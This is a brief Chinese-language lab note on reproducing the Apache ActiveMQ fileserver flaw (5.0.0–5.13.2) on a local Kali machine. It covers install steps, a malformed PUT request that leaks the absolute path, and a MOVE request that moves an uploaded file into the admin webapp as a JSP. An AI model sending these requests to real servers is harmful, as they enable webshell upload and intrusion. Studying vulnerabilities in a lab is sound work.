本地用kali搭建复现一下
受影响的版本：Apache Group ActiveMQ 5.0.0 - 5.13.2
下载地址：http://archive.apache.org/dist/activemq/5.10.1/apache-activemq-5.10.1-bin.tar.gz
解压：tar -xzf apache-activemq-5.10.1-bin.tar.gz
启动：/home/apache-activemq-5.10.1/bin/linux-x86-32# ./activemq start
Starting ActiveMQ Broker...
爆绝对路径
PUT /fileserver/a../../%08/..%08/.%08/%08 HTTP/1.1
路径：/home/apache-activemq-5.10.1/webapps/fileserver/
fileserver目录下jsp是不被执行了，而且是不能直接上传jsp文件
MOVE /fileserver/test.txt HTTP/1.1
Destination:file:/home/apache-activemq-5.10.1/webapps/admin/test.jsp
